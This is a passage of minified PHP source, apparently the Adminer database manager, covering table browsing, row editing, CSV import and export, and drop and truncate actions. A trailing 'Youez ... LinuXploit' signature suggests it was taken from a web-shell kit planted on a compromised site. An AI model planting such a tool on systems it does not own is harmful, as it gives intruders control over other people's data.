as$z=>$p){$D=$b->fieldName($p);if(isset($p["privileges"]["select"])&&$D!=""){$e[$z]=html_entity_decode(strip_tags($D),ENT_QUOTES);if(is_shortable($p))$Vh=$b->selectLengthProcess();}$Lg+=$p["privileges"];}list($M,$md)=$b->selectColumnsProcess($e,$x);$Td=count($md)<count($M);$Z=$b->selectSearchProcess($q,$x);$tf=$b->selectOrderProcess($q,$x);$_=$b->selectLimitProcess();if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$zi=>$K){$Ha=convert_field($q[key($K)]);$M=array($Ha?$Ha:idf_escape(key($K)));$Z[]=where_check($zi,$q);$J=$n->select($a,$M,$Z,$M);if($J)echo
reset($J->fetch_row());}exit;}$dg=$Ai=null;foreach($x
as$w){if($w["type"]=="PRIMARY"){$dg=array_flip($w["columns"]);$Ai=($M?$dg:array());foreach($Ai
as$z=>$X){if(in_array(idf_escape($z),$M))unset($Ai[$z]);}break;}}if($df&&!$dg){$dg=$Ai=array($df=>0);$x[]=array("type"=>"PRIMARY","columns"=>array($df));}if($_POST&&!$o){$bj=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$gb=array();foreach($_POST["check"]as$db)$gb[]=where_check($db,$q);$bj[]="((".implode(") OR (",$gb)."))";}$bj=($bj?"\nWHERE ".implode(" AND ",$bj):"");if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");$id=($M?implode(", ",$M):"*").convert_fields($e,$q,$M)."\nFROM ".table($a);$od=($md&&$Td?"\nGROUP BY ".implode(", ",$md):"").($tf?"\nORDER BY ".implode(", ",$tf):"");if(!is_array($_POST["check"])||$dg)$H="SELECT $id$bj$od";else{$xi=array();foreach($_POST["check"]as$X)$xi[]="(SELECT".limit($id,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$q).$od,1).")";$H=implode(" UNION ALL ",$xi);}$b->dumpData($a,"table",$H);exit;}if(!$b->selectEmailProcess($Z,$dd)){if($_POST["save"]||$_POST["delete"]){$I=true;$_a=0;$P=array();if(!$_POST["delete"]){foreach($e
as$D=>$X){$X=process_input($q[$D]);if($X!==null&&($_POST["clone"]||$X!==false))$P[idf_escape($D)]=($X!==false?$X:idf_escape($D));}}if($_POST["delete"]||$P){if($_POST["clone"])$H="INTO ".table($a)." (".implode(", ",array_keys($P)).")\nSELECT ".implode(", ",$P)."\nFROM ".table($a);if($_POST["all"]||($dg&&is_array($_POST["check"]))||$Td){$I=($_POST["delete"]?$n->delete($a,$bj):($_POST["clone"]?queries("INSERT $H$bj"):$n->update($a,$P,$bj)));$_a=$g->affected_rows;}else{foreach((array)$_POST["check"]as$X){$Xi="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$q);$I=($_POST["delete"]?$n->delete($a,$Xi,1):($_POST["clone"]?queries("INSERT".limit1($a,$H,$Xi)):$n->update($a,$P,$Xi,1)));if(!$I)break;$_a+=$g->affected_rows;}}}$Ge=lang(245,$_a);if($_POST["clone"]&&$I&&$_a==1){$ke=last_id();if($ke)$Ge=lang(164," $ke");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$Ge,$I);if(!$_POST["delete"]){edit_form($a,$q,(array)$_POST["fields"],!$_POST["clone"]);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$o=lang(246);else{$I=true;$_a=0;foreach($_POST["val"]as$zi=>$K){$P=array();foreach($K
as$z=>$X){$z=bracket_escape($z,1);$P[idf_escape($z)]=(preg_match('~char|text~',$q[$z]["type"])||$X!=""?$b->processInput($q[$z],$X):"NULL");}$I=$n->update($a,$P," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($zi,$q),!$Td&&!$dg," ");if(!$I)break;$_a+=$g->affected_rows;}queries_redirect(remove_from_uri(),lang(245,$_a),$I);}}elseif(!is_string($Tc=get_file("csv_file",true)))$o=upload_error($Tc);elseif(!preg_match('~~u',$Tc))$o=lang(247);else{cookie("adminer_import","output=".urlencode($za["output"])."&format=".urlencode($_POST["separator"]));$I=true;$sb=array_keys($q);preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$Tc,$ze);$_a=count($ze[0]);$n->begin();$N=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$L=array();foreach($ze[0]as$z=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$N]*)$N~",$X.$N,$_e);if(!$z&&!array_diff($_e[1],$sb)){$sb=$_e[1];$_a--;}else{$P=array();foreach($_e[1]as$t=>$nb)$P[idf_escape($sb[$t])]=($nb==""&&$q[$sb[$t]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$nb))));$L[]=$P;}}$I=(!$L||$n->insertUpdate($a,$L,$dg));if($I)$I=$n->commit();queries_redirect(remove_from_uri("page"),lang(248,$_a),$I);$n->rollback();}}}$Hh=$b->tableName($S);if(is_ajax()){page_headers();ob_start();}else
page_header(lang(51).": $Hh",$o);$P=null;if(isset($Lg["insert"])||!support("table")){$P="";foreach((array)$_GET["where"]as$X){if($dd[$X["col"]]&&count($dd[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))$P.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);}}$b->selectLinks($S,$P);if(!$e&&support("table"))echo"<p class='error'>".lang(249).($q?".":": ".error())."\n";else{echo"<form action='' id='form'>\n","<div style='display: none;'>";hidden_fields_get();echo(DB!=""?'<input type="hidden" name="db" value="'.h(DB).'">'.(isset($_GET["ns"])?'<input type="hidden" name="ns" value="'.h($_GET["ns"]).'">':""):"");echo'<input type="hidden" name="select" value="'.h($a).'">',"</div>\n";$b->selectColumnsPrint($M,$e);$b->selectSearchPrint($Z,$e,$x);$b->selectOrderPrint($tf,$e,$x);$b->selectLimitPrint($_);$b->selectLengthPrint($Vh);$b->selectActionPrint($x);echo"</form>\n";$F=$_GET["page"];if($F=="last"){$gd=$g->result(count_rows($a,$Z,$Td,$md));$F=floor(max(0,$gd-1)/$_);}$Xg=$M;$nd=$md;if(!$Xg){$Xg[]="*";$Cb=convert_fields($e,$q,$M);if($Cb)$Xg[]=substr($Cb,2);}foreach($M
as$z=>$X){$p=$q[idf_unescape($X)];if($p&&($Ha=convert_field($p)))$Xg[$z]="$Ha AS $X";}if(!$Td&&$Ai){foreach($Ai
as$z=>$X){$Xg[]=idf_escape($z);if($nd)$nd[]=idf_escape($z);}}$I=$n->select($a,$Xg,$Z,$nd,$tf,$_,$F,true);if(!$I)echo"<p class='error'>".error()."\n";else{if($y=="mssql"&&$F)$I->seek($_*$F);$sc=array();echo"<form action='' method='post' enctype='multipart/form-data'>\n";$L=array();while($K=$I->fetch_assoc()){if($F&&$y=="oracle")unset($K["RNUM"]);$L[]=$K;}if($_GET["page"]!="last"&&$_!=""&&$md&&$Td&&$y=="sql")$gd=$g->result(" SELECT FOUND_ROWS()");if(!$L)echo"<p class='message'>".lang(12)."\n";else{$Qa=$b->backwardKeys($a,$Hh);echo"<table id='table' cellspacing='0' class='nowrap checkable'>",script("mixin(qs('#table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true), onkeydown: editingKeydown});"),"<thead><tr>".(!$md&&$M?"":"<td><input type='checkbox' id='all-page' class='jsonly'>".script("qs('#all-page').onclick = partial(formCheck, /check/);","")." <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".lang(250)."</a>");$Se=array();$jd=array();reset($M);$sg=1;foreach($L[0]as$z=>$X){if(!isset($Ai[$z])){$X=$_GET["columns"][key($M)];$p=$q[$M?($X?$X["col"]:current($M)):$z];$D=($p?$b->fieldName($p,$sg):($X["fun"]?"*":$z));if($D!=""){$sg++;$Se[$z]=$D;$d=idf_escape($z);$zd=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($z);$Wb="&desc%5B0%5D=1";echo"<th>".script("mixin(qsl('th'), {onmouseover: partial(columnMouse), onmouseout: partial(columnMouse, ' hidden')});",""),'<a href="'.h($zd.($tf[0]==$d||$tf[0]==$z||(!$tf&&$Td&&$md[0]==$d)?$Wb:'')).'">';echo
apply_sql_function($X["fun"],$D)."</a>";echo"<span class='column hidden'>","<a href='".h($zd.$Wb)."' title='".lang(57)."' class='text'> ↓</a>";if(!$X["fun"]){echo'<a href="#fieldset-search" title="'.lang(54).'" class="text jsonly"> =</a>',script("qsl('a').onclick = partial(selectSearch, '".js_escape($z)."');");}echo"</span>";}$jd[$z]=$X["fun"];next($M);}}$qe=array();if($_GET["modify"]){foreach($L
as$K){foreach($K
as$z=>$X)$qe[$z]=max($qe[$z],min(40,strlen(utf8_decode($X))));}}echo($Qa?"<th>".lang(251):"")."</thead>\n";if(is_ajax()){if($_%2==1&&$F%2==1)odd();ob_end_clean();}foreach($b->rowDescriptions($L,$dd)as$Re=>$K){$yi=unique_array($L[$Re],$x);if(!$yi){$yi=array();foreach($L[$Re]as$z=>$X){if(!preg_match('~^(COUNT\\((\\*|(DISTINCT )?`(?:[^`]|``)+`)\\)|(AVG|GROUP_CONCAT|MAX|MIN|SUM)\\(`(?:[^`]|``)+`\\))$~',$z))$yi[$z]=$X;}}$zi="";foreach($yi
as$z=>$X){if(($y=="sql"||$y=="pgsql")&&preg_match('~char|text|enum|set~',$q[$z]["type"])&&strlen($X)>64){$z=(strpos($z,'(')?$z:idf_escape($z));$z="MD5(".($y!='sql'||preg_match("~^utf8~",$q[$z]["collation"])?$z:"CONVERT($z USING ".charset($g).")").")";$X=md5($X);}$zi.="&".($X!==null?urlencode("where[".bracket_escape($z)."]")."=".urlencode($X):"null%5B%5D=".urlencode($z));}echo"<tr".odd().">".(!$md&&$M?"":"<td>".checkbox("check[]",substr($zi,1),in_array(substr($zi,1),(array)$_POST["check"])).($Td||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$zi)."' class='edit'>".lang(252)."</a>"));foreach($K
as$z=>$X){if(isset($Se[$z])){$p=$q[$z];$X=$n->value($X,$p);if($X!=""&&(!isset($sc[$z])||$sc[$z]!=""))$sc[$z]=(is_mail($X)?$Se[$z]:"");$A="";if(preg_match('~blob|bytea|raw|file~',$p["type"])&&$X!="")$A=ME.'download='.urlencode($a).'&field='.urlencode($z).$zi;if(!$A&&$X!==null){foreach((array)$dd[$z]as$r){if(count($dd[$z])==1||end($r["source"])==$z){$A="";foreach($r["source"]as$t=>$nh)$A.=where_link($t,$r["target"][$t],$L[$Re][$nh]);$A=($r["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\\1'.urlencode($r["db"]),ME):ME).'select='.urlencode($r["table"]).$A;if($r["ns"])$A=preg_replace('~([?&]ns=)[^&]+~','\\1'.urlencode($r["ns"]),$A);if(count($r["source"])==1)break;}}}if($z=="COUNT(*)"){$A=ME."select=".urlencode($a);$t=0;foreach((array)$_GET["where"]as$W){if(!array_key_exists($W["col"],$yi))$A.=where_link($t++,$W["col"],$W["val"],$W["op"]);}foreach($yi
as$Yd=>$W)$A.=where_link($t++,$Yd,$W);}$X=select_value($X,$A,$p,$Vh);$u=h("val[$zi][".bracket_escape($z)."]");$Y=$_POST["val"][$zi][bracket_escape($z)];$nc=!is_array($K[$z])&&is_utf8($X)&&$L[$Re][$z]==$K[$z]&&!$jd[$z];$Uh=preg_match('~text|lob~',$p["type"]);if(($_GET["modify"]&&$nc)||$Y!==null){$qd=h($Y!==null?$Y:$K[$z]);echo"<td>".($Uh?"<textarea name='$u' cols='30' rows='".(substr_count($K[$z],"\n")+1)."'>$qd</textarea>":"<input name='$u' value='$qd' size='$qe[$z]'>");}else{$ue=strpos($X,"<i>...</i>");echo"<td id='$u' data-text='".($ue?2:($Uh?1:0))."'".($nc?"":" data-warning='".h(lang(253))."'").">$X</td>";}}}if($Qa)echo"<td>";$b->backwardKeysPrint($Qa,$L[$Re]);echo"</tr>\n";}if(is_ajax())exit;echo"</table>\n";}if(!is_ajax()){if($L||$F){$Bc=true;if($_GET["page"]!="last"){if($_==""||(count($L)<$_&&($L||!$F)))$gd=($F?$F*$_:0)+count($L);elseif($y!="sql"||!$Td){$gd=($Td?false:found_rows($S,$Z));if($gd<max(1e4,2*($F+1)*$_))$gd=reset(slow_query(count_rows($a,$Z,$Td,$md)));else$Bc=false;}}$Ff=($_!=""&&($gd===false||$gd>$_||$F));if($Ff){echo(($gd===false?count($L)+1:$gd-$F*$_)>$_?'<p><a href="'.h(remove_from_uri("page")."&page=".($F+1)).'" class="loadmore">'.lang(254).'</a>'.script("qsl('a').onclick = partial(selectLoadMore, ".(+$_).", '".lang(255)."...');",""):''),"\n";}}echo"<div class='footer'><div>\n";if($L||$F){if($Ff){$Be=($gd===false?$F+(count($L)>=$_?2:1):floor(($gd-1)/$_));echo"<fieldset>";if($y!="simpledb"){echo"<legend><a href='".h(remove_from_uri("page"))."'>".lang(256)."</a></legend>",script("qsl('a').onclick = function () { pageClick(this.href, +prompt('".lang(256)."', '".($F+1)."')); return false; };"),pagination(0,$F).($F>5?" ...":"");for($t=max(1,$F-4);$t<min($Be,$F+5);$t++)echo
pagination($t,$F);if($Be>0){echo($F+5<$Be?" ...":""),($Bc&&$gd!==false?pagination($Be,$F):" <a href='".h(remove_from_uri("page")."&page=last")."' title='~$Be'>".lang(257)."</a>");}}else{echo"<legend>".lang(256)."</legend>",pagination(0,$F).($F>1?" ...":""),($F?pagination($F,$F):""),($Be>$F?pagination($F+1,$F).($Be>$F+1?" ...":""):"");}echo"</fieldset>\n";}echo"<fieldset>","<legend>".lang(258)."</legend>";$bc=($Bc?"":"~ ").$gd;echo
checkbox("all",1,0,($gd!==false?($Bc?"":"~ ").lang(146,$gd):""),"var checked = formChecked(this, /check/); selectCount('selected', this.checked ? '$bc' : checked); selectCount('selected2', this.checked || !checked ? '$bc' : checked);")."\n","</fieldset>\n";if($b->selectCommandPrint()){echo'<fieldset',($_GET["modify"]?'':' class="jsonly"'),'><legend>',lang(250),'</legend><div>
<input type="submit" value="',lang(14),'"',($_GET["modify"]?'':' title="'.lang(246).'"'),'>
</div></fieldset>
<fieldset><legend>',lang(122),' <span id="selected"></span></legend><div>
<input type="submit" name="edit" value="',lang(10),'">
<input type="submit" name="clone" value="',lang(242),'">
<input type="submit" name="delete" value="',lang(18),'">',confirm(),'</div></fieldset>
';}$ed=$b->dumpFormat();foreach((array)$_GET["columns"]as$d){if($d["fun"]){unset($ed['sql']);break;}}if($ed){print_fieldset("export",lang(71)." <span id='selected2'></span>");$Df=$b->dumpOutput();echo($Df?html_select("output",$Df,$za["output"])." ":""),html_select("format",$ed,$za["format"])," <input type='submit' name='export' value='".lang(71)."'>\n","</div></fieldset>\n";}$b->selectEmailPrint(array_filter($sc,'strlen'),$e);}echo"</div></div>\n";if($b->selectImportPrint()){echo"<div>","<a href='#import'>".lang(70)."</a>",script("qsl('a').onclick = partial(toggle, 'import');",""),"<span id='import' class='hidden'>: ","<input type='file' name='csv_file'> ",html_select("separator",array("csv"=>"CSV,","csv;"=>"CSV;","tsv"=>"TSV"),$za["format"],1);echo" <input type='submit' name='import' value='".lang(70)."'>","</span>","</div>";}echo"<input type='hidden' name='token' value='$gi'>\n","</form>\n",(!$md&&$M?"":script("tableCheck();"));}}}if(is_ajax()){ob_end_clean();exit;}}elseif(isset($_GET["variables"])){$xh=isset($_GET["status"]);page_header($xh?lang(114):lang(113));$Oi=($xh?show_status():show_variables());if(!$Oi)echo"<p class='message'>".lang(12)."\n";else{echo"<table cellspacing='0'>\n";foreach($Oi
as$z=>$X){echo"<tr>","<th><code class='jush-".$y.($xh?"status":"set")."'>".h($z)."</code>","<td>".nbsp($X);}echo"</table>\n";}}elseif(isset($_GET["script"])){header("Content-Type: text/javascript; charset=utf-8");if($_GET["script"]=="db"){$Eh=array("Data_length"=>0,"Index_length"=>0,"Data_free"=>0);foreach(table_status()as$D=>$S){json_row("Comment-$D",nbsp($S["Comment"]));if(!is_view($S)){foreach(array("Engine","Collation")as$z)json_row("$z-$D",nbsp($S[$z]));foreach($Eh+array("Auto_increment"=>0,"Rows"=>0)as$z=>$X){if($S[$z]!=""){$X=format_number($S[$z]);json_row("$z-$D",($z=="Rows"&&$X&&$S["Engine"]==($qh=="pgsql"?"table":"InnoDB")?"~ $X":$X));if(isset($Eh[$z]))$Eh[$z]+=($S["Engine"]!="InnoDB"||$z!="Data_free"?$S[$z]:0);}elseif(array_key_exists($z,$S))json_row("$z-$D");}}}foreach($Eh
as$z=>$X)json_row("sum-$z",format_number($X));json_row("");}elseif($_GET["script"]=="kill")$g->query("KILL ".number($_POST["kill"]));else{foreach(count_tables($b->databases())as$m=>$X){json_row("tables-$m",$X);json_row("size-$m",db_size($m));}json_row("");}exit;}else{$Nh=array_merge((array)$_POST["tables"],(array)$_POST["views"]);if($Nh&&!$o&&!$_POST["search"]){$I=true;$Ge="";if($y=="sql"&&$_POST["tables"]&&count($_POST["tables"])>1&&($_POST["drop"]||$_POST["truncate"]||$_POST["copy"]))queries("SET foreign_key_checks = 0");if($_POST["truncate"]){if($_POST["tables"])$I=truncate_tables($_POST["tables"]);$Ge=lang(259);}elseif($_POST["move"]){$I=move_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Ge=lang(260);}elseif($_POST["copy"]){$I=copy_tables((array)$_POST["tables"],(array)$_POST["views"],$_POST["target"]);$Ge=lang(261);}elseif($_POST["drop"]){if($_POST["views"])$I=drop_views($_POST["views"]);if($I&&$_POST["tables"])$I=drop_tables($_POST["tables"]);$Ge=lang(262);}elseif($y!="sql"){$I=($y=="sqlite"?queries("VACUUM"):apply_queries("VACUUM".($_POST["optimize"]?"":" ANALYZE"),$_POST["tables"]));$Ge=lang(263);}elseif(!$_POST["tables"])$Ge=lang(9);elseif($I=queries(($_POST["optimize"]?"OPTIMIZE":($_POST["check"]?"CHECK":($_POST["repair"]?"REPAIR":"ANALYZE")))." TABLE ".implode(", ",array_map('idf_escape',$_POST["tables"])))){while($K=$I->fetch_assoc())$Ge.="<b>".h($K["Table"])."</b>: ".h($K["Msg_text"])."<br>";}queries_redirect(substr(ME,0,-1),$Ge,$I);}page_header(($_GET["ns"]==""?lang(35).": ".h(DB):lang(75).": ".h($_GET["ns"])),$o,true);if($b->homepage()){if($_GET["ns"]!==""){echo"<h3 id='tables-views'>".lang(264)."</h3>\n";$Mh=tables_list();if(!$Mh)echo"<p class='message'>".lang(9)."\n";else{echo"<form action='' method='post'>\n";if(support("table")){echo"<fieldset><legend>".lang(265)." <span id='selected2'></span></legend><div>","<input type='search' name='query' value='".h($_POST["query"])."'>",script("qsl('input').onkeydown = partialArg(bodyKeydown, 'search');","")," <input type='submit' name='search' value='".lang(54)."'>\n","</div></fieldset>\n";if($_POST["search"]&&$_POST["query"]!=""){$_GET["where"][0]["op"]="LIKE %%";search_tables();}}$cc=doc_link(array('sql'=>'show-table-status.html'));echo"<table cellspacing='0' class='nowrap checkable'>\n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),'<thead><tr class="wrap">','<td><input id="check-all" type="checkbox" class="jsonly">'.script("qs('#check-all').onclick = partial(formCheck, /^(tables|views)\[/);",""),'<th>'.lang(127),'<td>'.lang(266).doc_link(array('sql'=>'storage-engines.html')),'<td>'.lang(118).doc_link(array('sql'=>'charset-charsets.html','mariadb'=>'supported-character-sets-and-collations/')),'<td>'.lang(267).$cc,'<td>'.lang(268).$cc,'<td>'.lang(269).$cc,'<td>'.lang(49).doc_link(array('sql'=>'example-auto-increment.html','mariadb'=>'auto_increment/')),'<td>'.lang(270).$cc,(support("comment")?'<td>'.lang(48).$cc:''),"</thead>\n";$T=0;foreach($Mh
as$D=>$U){$Ri=($U!==null&&!preg_match('~table~i',$U));$u=h("Table-".$D);echo'<tr'.odd().'><td>'.checkbox(($Ri?"views[]":"tables[]"),$D,in_array($D,$Nh,true),"","","",$u),'<th>'.(support("table")||support("indexes")?"<a href='".h(ME)."table=".urlencode($D)."' title='".lang(40)."' id='$u'>".h($D).'</a>':h($D));if($Ri){echo'<td colspan="6"><a href="'.h(ME)."view=".urlencode($D).'" title="'.lang(41).'">'.(preg_match('~materialized~i',$U)?lang(125):lang(126)).'</a>','<td align="right"><a href="'.h(ME)."select=".urlencode($D).'" title="'.lang(39).'">?</a>';}else{foreach(array("Engine"=>array(),"Collation"=>array(),"Data_length"=>array("create",lang(42)),"Index_length"=>array("indexes",lang(129)),"Data_free"=>array("edit",lang(43)),"Auto_increment"=>array("auto_increment=1&create",lang(42)),"Rows"=>array("select",lang(39)),)as$z=>$A){$u=" id='$z-".h($D)."'";echo($A?"<td align='right'>".(support("table")||$z=="Rows"||(support("indexes")&&$z!="Data_length")?"<a href='".h(ME."$A[0]=").urlencode($D)."'$u title='$A[1]'>?</a>":"<span$u>?</span>"):"<td id='$z-".h($D)."'>&nbsp;");}$T++;}echo(support("comment")?"<td id='Comment-".h($D)."'>&nbsp;":"");}echo"<tr><td>&nbsp;<th>".lang(243,count($Mh)),"<td>".nbsp($y=="sql"?$g->result("SELECT @@storage_engine"):""),"<td>".nbsp(db_collation(DB,collations()));foreach(array("Data_length","Index_length","Data_free")as$z)echo"<td align='right' id='sum-$z'>&nbsp;";echo"</table>\n";if(!information_schema(DB)){echo"<div class='footer'><div>\n";$Li="<input type='submit' value='".lang(271)."'> ".on_help("'VACUUM'");$pf="<input type='submit' name='optimize' value='".lang(272)."'> ".on_help($y=="sql"?"'OPTIMIZE TABLE'":"'VACUUM OPTIMIZE'");echo"<fieldset><legend>".lang(122)." <span id='selected'></span></legend><div>".($y=="sqlite"?$Li:($y=="pgsql"?$Li.$pf:($y=="sql"?"<input type='submit' value='".lang(273)."'> ".on_help("'ANALYZE TABLE'").$pf."<input type='submit' name='check' value='".lang(274)."'> ".on_help("'CHECK TABLE'")."<input type='submit' name='repair' value='".lang(275)."'> ".on_help("'REPAIR TABLE'"):"")))."<input type='submit' name='truncate' value='".lang(276)."'> ".on_help($y=="sqlite"?"'DELETE'":"'TRUNCATE".($y=="pgsql"?"'":" TABLE'")).confirm()."<input type='submit' name='drop' value='".lang(123)."'>".on_help("'DROP TABLE'").confirm()."\n";$l=(support("scheme")?$b->schemas():$b->databases());if(count($l)!=1&&$y!="sqlite"){$m=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"<p>".lang(277).": ",($l?html_select("target",$l,$m):'<input name="target" value="'.h($m).'" autocapitalize="off">')," <input type='submit' name='move' value='".lang(278)."'>",(support("copy")?" <input type='submit' name='copy' value='".lang(279)."'>":""),"\n";}echo"<input type='hidden' name='all' value=''>";echo
script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^(tables|views)\[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables\[/) || $T);":"")." }"),"<input type='hidden' name='token' value='$gi'>\n","</div></fieldset>\n","</div></div>\n";}echo"</form>\n",script("tableCheck();");}echo'<p class="links"><a href="'.h(ME).'create=">'.lang(72)."</a>\n",(support("view")?'<a href="'.h(ME).'view=">'.lang(200)."</a>\n":"");if(support("routine")){echo"<h3 id='routines'>".lang(139)."</h3>\n";$Pg=routines();if($Pg){echo"<table cellspacing='0'>\n",'<thead><tr><th>'.lang(179).'<td>'.lang(47).'<td>'.lang(217)."<td>&nbsp;</thead>\n";odd('');foreach($Pg
as$K){$D=($K["SPECIFIC_NAME"]==$K["ROUTINE_NAME"]?"":"&name=".urlencode($K["ROUTINE_NAME"]));echo'<tr'.odd().'>','<th><a href="'.h(ME.($K["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($K["SPECIFIC_NAME"]).$D).'">'.h($K["ROUTINE_NAME"]).'</a>','<td>'.h($K["ROUTINE_TYPE"]),'<td>'.h($K["DTD_IDENTIFIER"]),'<td><a href="'.h(ME.($K["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($K["SPECIFIC_NAME"]).$D).'">'.lang(132)."</a>";}echo"</table>\n";}echo'<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.lang(216).'</a>':'').'<a href="'.h(ME).'function=">'.lang(215)."</a>\n";}if(support("sequence")){echo"<h3 id='sequences'>".lang(280)."</h3>\n";$dh=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema() ORDER BY sequence_name");if($dh){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(179)."</thead>\n";odd('');foreach($dh
as$X)echo"<tr".odd()."><th><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."sequence='>".lang(222)."</a>\n";}if(support("type")){echo"<h3 id='user-types'>".lang(24)."</h3>\n";$Ji=types();if($Ji){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(179)."</thead>\n";odd('');foreach($Ji
as$X)echo"<tr".odd()."><th><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."type='>".lang(226)."</a>\n";}if(support("event")){echo"<h3 id='events'>".lang(140)."</h3>\n";$L=get_rows("SHOW EVENTS");if($L){echo"<table cellspacing='0'>\n","<thead><tr><th>".lang(179)."<td>".lang(281)."<td>".lang(206)."<td>".lang(207)."<td></thead>\n";foreach($L
as$K){echo"<tr>","<th>".h($K["Name"]),"<td>".($K["Execute at"]?lang(282)."<td>".$K["Execute at"]:lang(208)." ".$K["Interval value"]." ".$K["Interval field"]."<td>$K[Starts]"),"<td>$K[Ends]",'<td><a href="'.h(ME).'event='.urlencode($K["Name"]).'">'.lang(132).'</a>';}echo"</table>\n";$_c=$g->result("SELECT @@event_scheduler");if($_c&&$_c!="ON")echo"<p class='error'><code class='jush-sqlset'>event_scheduler</code>: ".h($_c)."\n";}echo'<p class="links"><a href="'.h(ME).'event=">'.lang(205)."</a>\n";}if($Mh)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}}}page_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit